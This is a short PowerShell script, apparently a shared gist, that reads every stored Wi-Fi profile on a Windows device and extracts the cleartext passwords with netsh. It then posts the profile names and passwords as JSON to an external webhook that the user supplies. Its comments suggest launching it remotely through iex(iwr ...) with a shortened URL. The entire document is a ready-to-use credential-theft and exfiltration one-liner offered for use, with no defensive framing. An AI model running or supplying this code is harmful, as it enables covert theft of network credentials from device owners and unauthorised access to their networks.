Retrieve and Exfil Wifi Credentials Stored on a Windows Device to an External Webhook

exfil-wifi-creds.ps1

# A simple powershell oneliner to exfil wifi creds
# most of the code was borrowed from this gist which deserves all the credit: 
# https://gist.github.com/CybersamuraiDK/6e0be5c0c47165228895079efa8d98ec
# can also be run using iex(iwr ....) with a shortened url so its easy to type out

$WEBHOOK="https://webhook.site/XXXX" # change this to your own webhook
(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}  | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} |  ConvertTo-Json | %{ curl.exe -d "data=$_" -X POST $WEBHOOK }